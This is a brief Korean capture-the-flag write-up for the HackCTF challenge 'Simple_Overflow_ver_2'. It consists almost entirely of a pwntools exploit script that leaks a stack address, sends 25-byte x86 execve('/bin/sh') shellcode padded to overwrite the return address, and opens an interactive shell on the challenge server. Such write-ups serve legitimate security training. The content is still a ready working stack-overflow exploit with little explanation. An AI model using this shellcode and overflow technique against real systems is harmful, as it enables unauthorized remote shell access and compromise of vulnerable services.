(HackCTF) Simple_Overflow_ver_2

 

이번문제는 main함수 하나군요

실행결과

#-*-coding:utf-8-*- from pwn import * p = remote("ctf.j0n9hyun.xyz", 3006)     p.recvuntil("Data : ") p.sendline("a")   tmp=int(p.recv(10),16) log.success(hex(tmp))   p.recvuntil("Again (y/n): ") p.sendline('y')   p.recvuntil("Data : ") #25bytes payload="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" payload+="a"*(0x88+8-25) payload+=p32(tmp) p.sendline(payload)   p.recvuntil("Again (y/n): ") p.sendline('n')   p.interactive()